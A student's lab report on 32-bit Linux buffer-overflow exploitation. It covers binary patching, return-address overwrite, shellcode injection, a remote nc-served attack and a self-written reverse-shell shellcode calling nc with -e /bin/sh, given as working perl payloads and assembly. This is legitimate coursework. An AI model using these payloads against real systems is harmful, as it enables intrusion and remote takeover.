网络对抗实验一逆向破解Bof

实 验 报 告

课程:网络对抗技术

班级:1912      姓名:陈发强      学号:20191206

实验名称:PC平台逆向破解         实验日期:2022.3.19

实验目的

  1. 掌握缓冲区溢出的基本原理。

  2. 掌握反汇编工具、基础汇编语言和gdb调试ELF文件的方法。

  3. 掌握预防缓冲区溢出的方法,并且遵循这些方法。

实验内容

  1. 通过修改ELF文件的方式,运行shellcode

  2. 通过缓冲区溢出的方式,运行shellcode

  3. 通过缓冲区溢出的方式,注入shellcode并运行shellcode

  4. 远程攻击带有缓冲区溢出漏洞进程的主机

实验过程

(零)几个机器指令

  1. NOP:CPU空转(机器码:0x90)

  2. JNE:Jump if Not Equal(机器码:0x75)

  3. JE: Jump if Equal(机器码:0x74)

  4. JMP:无条件转移指令。
    JMP 类型      释义                     机器码                                    
    段内短直接    JMP SHORT mylabel         0xEB [signed byte]                 short 8bits ±126字节的地址范围
    段内近直接    JMP NEAR PTR mylabel      0xE9 [low byte][high byte]         word 16bits ±32768字节的地址范围
    段间远直接    JMP DS:[mylabel]          0xEA [IP low][IP high][CS low][CS high]     double word 32bits 全局
    段内近间接    JMP BX                    0xFF (0xFF25 0xFF15...)                                                                               
  
  5. CMP:比较指令(机器码:0x39 0x3C 0x83......)

(一)修改ELF文件从而运行shellcode

能修改ELF文件,意味着我们能随意操控这个程序。本次的目标是运行ELF文件中已经存在的shellcode。

思路:

  1. 找到shellcode的起始地址
  2. 在程序运行过程中,把eip寄存器的值变为shellcode的起始地址

修改eip寄存器值的方法:

  1. 用ret给eip赋值
  2. 用jmp给eip赋值
  3. 用call给eip赋值

过程:

  1. 使用objdump反汇编ELF文件“pwn1206”,找到getShell函数的地址

   objdump -d 1206pwn | more       #反汇编,使用more阅读结果
           
   /getShell                       #使用more的搜索功能找到getShell函数
           
   0x0804847d                      #getShell函数地址

  1. 使用vim改写ELF文件,把call foo改成call getShell,从而使eip的值为 0x0804847d
修改call指令的目标地址为getShell函数

    objdump -d 1206pwn | more

    /call                           #找一个离shellcode比较近的call指令 ==> main函数中的call指令  ==> e8 d7 ff ff ff

   call指令实质是对当前eip寄存器(存储了call的下一条指令的地址)进行add操作。因此call指令跳转范围有限。

   计算需要跳转的距离:getShell地址 - call下一条指令的地址 = 0x0804847d - 0x00484ba = -61 = FFFF FFC3
           
   最后修改ELF文件

   vim -b 1206pwn                  #vim打开二进制文件

   %!xxd                           #使用xxd查看二进制文件

   /d7                             #搜索main函数中的call指令 “e8 d7 ff ff ff”
           
   改为e8 c3 ff ff ff

   %!xxd -r                        #转换回ELF二进制文件,保存退出
   
   运行修改后的程序,拿到Shell
       

  1. 方法二:把call foo()改成jmp getShell(),也能成功。

先尝试了间接地址跳转

又尝试了FF25的直接地址跳转,爆了段错误

(二)利用缓冲区溢出运行shellcode

思路:

  1. 找到有缓冲区溢出漏洞的代码
  2. 计算缓冲区长度(反汇编)
  3. 尝试构造字符串覆盖返回地址
  4. 将返回地址覆盖为getShell的地址

过程:

  1. objdump反汇编看看都有哪些函数。
    发现foo()函数中的gets()函数可能存在缓冲区溢出漏洞。
  
    getShell()的地址是0x0804847d

  1. 计算一下预设的缓冲区大小。
    objdump -d 1206pwn | less
    /foo

    08048491 <foo>:
     8048491:       55                      push   %ebp
     8048492:       89 e5                   mov    %esp,%ebp
     8048494:       83 ec 38                sub    $0x38,%esp
     8048497:       8d 45 e4                lea    -0x1c(%ebp),%eax
     804849a:       89 04 24                mov    %eax,(%esp)
     804849d:       e8 8e fe ff ff          call   8048330 <gets@plt>

    可以看到把-0x1c(%ebp)这个地址传参给了gets()函数。  0x1c == 28

    换言之如果gets()接受28字节的数据,就会到(%ebp)。

    32字节的数据就会覆盖%ebp的值,36字节的数据就会覆盖返回地址。

  1. 构造36字节的数据
    先输入一个11112222333344445555666677778888abcd,爆出Segmentation fault,说明缓冲区溢出确实可行。

    再用gdb看一下爆Segmentation fault时的寄存器的状态

    gdb 1206pwn

    r
    11112222333344445555666677778888abcd

    info r

    eax            0x25                37
    ecx            0xffffffff          -1
    edx            0xffffffff          -1
    ebx            0x0                 0
    esp            0xffffd0f0          0xffffd0f0
    ebp            0x38383838          0x38383838
    esi            0x1                 1
    edi            0x8048380           134513536
    eip            0x64636261          0x64636261
    eflags         0x10246             [ PF ZF IF RF ]
    cs             0x23                35
    ss             0x2b                43
    ds             0x2b                43
    es             0x2b                43
    fs             0x0                 0
    gs             0x63                99

可以看到eip正好是最后四个字符“abcd”ascii码的倒序。说明最后4个字符覆盖了返回地址。

  1. 将最后4个字符换成getShell()函数的地址
    perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08"' | ./1206pwn    #直接报错退出了

    关键是命令还没输入。要把 stdin(cmd)转为第一个命令的输出,这样才能变成 1206pwn的输入。

    cat命令正好合适

    (perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08"';cat)|./1206pwn

    gets()函数是行缓冲,上面这个payload输入之后,还要回车一下。直接加一个换行吧。

    (perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"';cat)|./1206pwn

    成功Get Shell

(三)利用缓冲区溢出写入一个shellcode并运行它

思路:

  1. 找一个shellcode
  2. 把shellcode写入堆栈
  3. 计算shellcode地址
  4. 运行shellcode

过程

  1. 准备一个shellcode
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

  1. 写入缓冲区

一般来说都是往高地址端(栈底)写入。

一是因为shellcode的首地址比较好计算,就在返回地址的后面,0x8(foo函数的%ebp);

二是因为如果能找到jmp esp跳板,就可以不用费力计算shellcode地址了。

perl -e 'print "11111111222222223333333344444444\x返\x回\x地\x址\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > hack.bin

  1. 计算shellcode地址

shellcode就在运行foo()函数时的0x8(%ebp)

先把地址随机化关了。不然写入的shellcode的地址就不固定了。

  sudo su

  echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

  echo "2" > /proc/sys/kernel/randomize_va_space //开启地址随机化

再用gdb看一下foo的ebp的地址

终端1:
    ./1206pwn

终端2:
    ps aux | grep 1206pwn
    
    20191206    9234  0.0  0.0   2516   736 pts/1    S+   06:05   0:00 ./1206pwn
    20191206    9276  0.0  0.1   6296  2260 pts/0    S+   06:05   0:00 grep --color=auto 1206pwn

    gdb
    attach 9234
    disass foo

    Dump of assembler code for function foo:
     0x08048491 <+0>:     push   %ebp
     0x08048492 <+1>:     mov    %esp,%ebp
     0x08048494 <+3>:     sub    $0x38,%esp
     0x08048497 <+6>:     lea    -0x1c(%ebp),%eax
     0x0804849a <+9>:     mov    %eax,(%esp)
     0x0804849d <+12>:    call   0x8048330 <gets@plt>
     0x080484a2 <+17>:    lea    -0x1c(%ebp),%eax
     0x080484a5 <+20>:    mov    %eax,(%esp)
     0x080484a8 <+23>:    call   0x8048340 <puts@plt>
     0x080484ad <+28>:    leave  
     0x080484ae <+29>:    ret    

     b *0x080484a8        #把断点设在foo()的gets()之后即可,因为进程已经被阻塞在gets()
     在终端1敲一下回车,让gets()结束
     c
     info r
  
    eax            0xffffd14c          -11956
    ecx            0xffffffff          -1
    edx            0xa                 10
    ebx            0x0                 0
    esp            0xffffd130          0xffffd130
    ebp            0xffffd168          0xffffd168
    esi            0x1                 1
    edi            0x8048380           134513536
    eip            0x80484a8           0x80484a8 <foo+23>


  shellcode地址 = 0x8(%ebp) = 0xffffd168 + 0x8 = 0xffffd170
                         
  1. 替换payload中的返回地址为shellcode地址
    结尾再加一个换行符,让foo()的gets()不阻塞。

    perl -e 'print "11111111222222223333333344444444\x70\xd1\xff\xff\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x0a"' > hack.bin

    设置堆栈可执行
    
    execstack -s 1206pwn 
    
    注入payload,Get Shell

    (cat hack.bin;cat) | ./1206pwn

(四)远程攻击运行了1206pwn的主机

kali NAT ip 192.168.144.151

Ubuntu NAT ip 192.168.144.137

在kali 1206端口上运行1206pwn并监听该端口

nc -l 127.0.0.1 -p 1206  -e ./1206pwn

在Ubuntu上用nc连接kali 1206端口,并发送payload,试图用缓冲区溢出攻击,拿到shell

(cat hack.bin;cat) | nc 192.168.144.151 1206

失败

kali监听命令写错了,不应该监听本地的连接,改成

sudo ufw allow 1206                //放开1206端口

nc -lvnp 1206 -e ./1206pwn

Ubuntu重新攻击,成功

实验体会

        第三次做有关缓冲区溢出实验了,以前都是在windows xp上做的,这回是在kali Linux上做的,真是常做常新,有了新的感悟和体会。

        xp上有常驻内存的jmp esp机器指令,假设它的内存地址是A。我们只要将函数的返回地址覆盖成A,就能在函数返回时执行jmp esp,把eip跳转到当前栈顶。而当前堆栈刚执行完pop %eip,栈顶存放的刚好就是shellcode,这样就可以直接运行shellcode了。但是在kali Linux中找一个常驻内存的jmp esp的内存地址并不容易,也算一个遗憾。

        在第一部分修改ELF文件中,试了试直接在main函数中加jmp跳转到getShell()函数,间接地址的jmp能成功,直接地址的FF25(jmp)和FF15(call),爆了Segmentation fault,B8好像也不行。至于ret改eip,和缓冲区溢出改eip是一个道理。

        为什么第二部分的实验,不用关闭地址随机化也能成功?ASLR是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。所以ASLR不影响getShell()函数和main函数的相对地址?

        在第三部分的实验,明明关闭了地址随机化,为什么静态gdb(直接gdb pwn1)和动态gdb(./pwn1 再gdb attach进程)中foo()函数的ebp值不相同?也许是因为gdb运行和./运行还是不一样,寄存器的值不完全一致。

        现在,缓冲区溢出的防御措施越来越多:设置缓冲区不可执行、地址随机化、编译器堆栈保护、消灭有缓冲区溢出漏洞的代码、X64系统的普及......让缓冲区溢出漏洞越来越少、越来越难利用。本次实验,也带我领略了缓冲区溢出的历史,看到了网络攻防中,攻击者与防御者相互较量的智慧,倾倒于双方精湛的技艺。

参考资料

jmp直接跳转和间接跳转

jmp短跳近跳长跳

Linux nc命令

shellcode基础

扩展

基于nc命令,编写一个在kali上能运行的机器码(反弹shell)并实施缓冲区溢出攻击。

先试试直接运行已有shellcode能不能行

vim test.c

int main(){
	char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
	void (*fp)(void);
	fp = (void*)shellcode;
	fp();
} 

gcc test.c

./a.out

爆出段错误 segmentation fault ???

能在1206pwn中缓冲区溢出运行成功,不能在kali中直接运行?

file 1206

1206pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fb55ff390641d9430666f4c373725241894ef5a5, not stripped

果然1206pwn是一个32位ELF程序,而kali是64位


sudo apt-get install lib32readline-dev

gcc -m32 test.c

./a.out

还是爆段错误

这个16进制机器码,还是存储在main函数的栈帧里面,之前理解错了。

再设置一个堆栈不可执行

execstack -s a.out

./a.out 

这回成功了

接下来改机器码,给execve换个参数

先贴一张原shellcode的汇编代码

先试试把execve(/bin//sh,/bin//sh,0)换成execve(/bin//ls,/bin//ls,0)能不能运行

l的ascii是0x6c

把\x68\x2f\x2f\x73\x68(push //sh)改成 \x68\x2f\x2f\x6c\x73(push //ls)

int main(){
	char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
	void (*fp)(void);
	fp = (void*)shellcode;
	fp();
} 


可以啊,成功执行了ls

之前都是无参命令,换个有参数的命令试试,ls -l

首先尝试修改汇编程序,把汇编跑起来。

坑:execve的第二个参数不是字符串

; t3.asm
; execve(ebx,ecx,edx)
; eax = syscall number = 11
; 当系统调用所需参数的个数不超过5个的时候,执行"int$0x80"指令时,需在eax中存放系统调用的功能号,传递给系统调用的参数则按照参数顺序依次存放到寄存器ebx,ecx,edx,esi,edi中,当系统调用完成之后,返回值存放在eax中。

section .text
global _start
_start:
xor eax,eax    ;eax清零,用作00截断,和NULL
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx,esp	;第一个参数,字符串/bin//sh

push eax
push 0x68732f2f
push 0x6e69622f
mov ecx,esp
push eax        ;NULL空指针
push ecx        ;存储了第一个指针,指向/bin//sh字符串的地址
mov ecx,esp    ;第二个参数,指针数组,第一个指针指向字符串/bin//sh,第二个指针是NULL

xor edx,edx    ;第三个参数,NULL
mov eax,0xb    ;系统调用号 11
int 0x80

nasm -f elf t3.asm
ld -m elf_i386 t3.o -o t3    //链接、32位

成功

接下来换成execve(/bin//ls,ls -l,0)试试

因为shellcode是一个字符串,不能被00截断,所以还要避免0x00

尝试了一下,"ls "是可以的,但是"-l "不行

没办法,man ls,看看能不能再填点参数达到类似的功能。

好,决定是ls -Ahl

改一下汇编

section .text
global _start
_start:
xor eax,eax    ;eax清零,用作00截断,和NULL
push eax
push 0x736c2f2f
push 0x6e69622f
mov ebx,esp	;第一个参数,字符串/bin//ls

push eax
push 0x6c68412d
mov ecx,esp
push eax
push 0x2020736c
mov edx,esp
push eax        ;存储了第三个指针,NULL空指针
push ecx        ;存储了第二个指针,"-Ahl"
push edx        ;存储了第一个指针,"ls  "
mov ecx,esp    ;第二个参数,指针数组的首地址

xor edx,edx    ;第三个参数,NULL
mov eax,0xb    ;系统调用号 11
int 0x80

成了

提取机器码

objdump -d ./t5 | cut -d: -f2 | cut -c 2-15 | uniq 

31 c0         
50            
68 2f 2f 6c 73
68 2f 62 69 6e
89 e3         
50            
68 2d 41 68 6c
89 e1         
50            
68 6c 73 20 20
89 e2         
50            
51            
52            
89 e1         
31 d2         
b8 0b 00 00 00
cd 80

发现了00截断

把 mov eax,0xb 改成 mov al,0xb

objdump -d ./t5 | cut -d: -f2 | cut -c 2-15 | uniq 

\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\x2d\x41\x68\x6c\x89\xe1\x50\x68\x6c\x73\x20x20\x89\xe2\x50\x51\x52\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

试一下缓冲区溢出攻击

perl -e 'print "A"x32;print "\x0\x0\x0\x0";print "\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\x2d\x41\x68\x6c\x89\xe1\x50\x68\x6c\x73\x20\x20\x89\xe2\x50\x51\x52\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'> hack.bin 

关掉地址随机化

echo 0 > /proc/sys/kernel/randomize_va_space

gdb attach 看眼返回地址是多少(8(%ebp))

0xffffd168 + 8 = 0xffffd170

perl -e 'print "A"x32;print "\x70\xd1\xff\xff";print "\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\x2d\x41\x68\x6c\x89\xe1\x50\x68\x6c\x73\x20\x20\x89\xe2\x50\x51\x52\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x0a"'> hack.bin 

(cat hack.bin;cat) | ./1206pwn

成了

提高一下难度,写个反弹shell,nc 192.168.144.151 1206 -e /bin/sh

首先,-e肯定是要出现00截断,所以扩展一些无关紧要的参数

nc 192.168.144.151 1206 -vne /bin//sh

其他部分用空格填充即可


section .text
global _start
_start:
xor eax,eax     ;eax清零,用作00截断,和NULL
push eax
push 0x636e2f2f
push 0x6e69622f
mov ebx,esp	;第一个参数,字符串/bin//nc

push eax
push 0x68732f2f  ;"/bin//sh"
push 0x6e69622f
mov edi,esp

push eax
push 0x656e762d  ;"-vne"
mov esi,esp

push eax
push 0x36303231  ;"1206"
mov edx,esp

push eax
push 0x20313531  ;"192.168.144.151 ";
push 0x2e343431
push 0x2e383631
push 0x2e323931
mov ecx,esp

push eax
push 0x2020636e  ;"nc  "
push eax         ;存储了第6个指针,NULL空指针
mov eax,esp

push edi         ;存储了第5个指针,"/bin//sh"
push esi         ;存储了第4个指针,"-vne"
push edx         ;存储了第3个指针,"1206"
push ecx         ;存储了第2个指针,"192.168.144.151 "
push eax         ;存储了第1个指针,"nc  "    

mov ecx,esp    ;第二个参数,指针数组的首地址

xor edx,edx    ;第三个参数,NULL
xor eax,eax    ;eax清零(不清零,只改al就不对了)
mov al,0xb    ;系统调用号 11
int 0x80

别说,还真成了

提取机器码

objdump -d ./t6 | cut -d: -f2 | cut -c 2-15 | uniq 

31 c0         
50            
68 2f 2f 6e 63
68 2f 62 69 6e
89 e3         
50            
68 2f 2f 73 68
68 2f 62 69 6e
89 e7         
50            
68 2d 76 6e 65
89 e6         
50            
68 31 32 30 36
89 e2         
50            
68 31 35 31 20
68 31 34 34 2e
68 31 36 38 2e
68 31 39 32 2e
89 e1         
50            
68 6e 63 20 20
50            
89 e0         
57            
56            
52            
51            
50            
89 e1         
31 d2         
31 c0         
b0 0b         
cd 80   

缓冲区溢出攻击

perl -e 'print "A" x 32;print "\x70\xd1\xff\xff";print "\x31\xc0\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe7\x50\x68\x2d\x76\x6e\x65\x89\xe6\x50\x68\x31\x32\x30\x36\x89\xe2\x50\x68\x31\x35\x31\x20\x68\x31\x34\x34\x2e\x68\x31\x36\x38\x2e\x68\x31\x39\x32\x2e\x89\xe1\x68\x6e\x63\x20\x20\x50\x89\xe0\x57\x56\x52\x51\x50\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\x0a"' > hack.bin

居然成了!!!真是一次艰辛而有意义的实践。不枉我东拼西凑地学会了X86汇编。

posted @ 2022-03-20 15:35  191206  阅读(235)  评论(0编辑  收藏  举报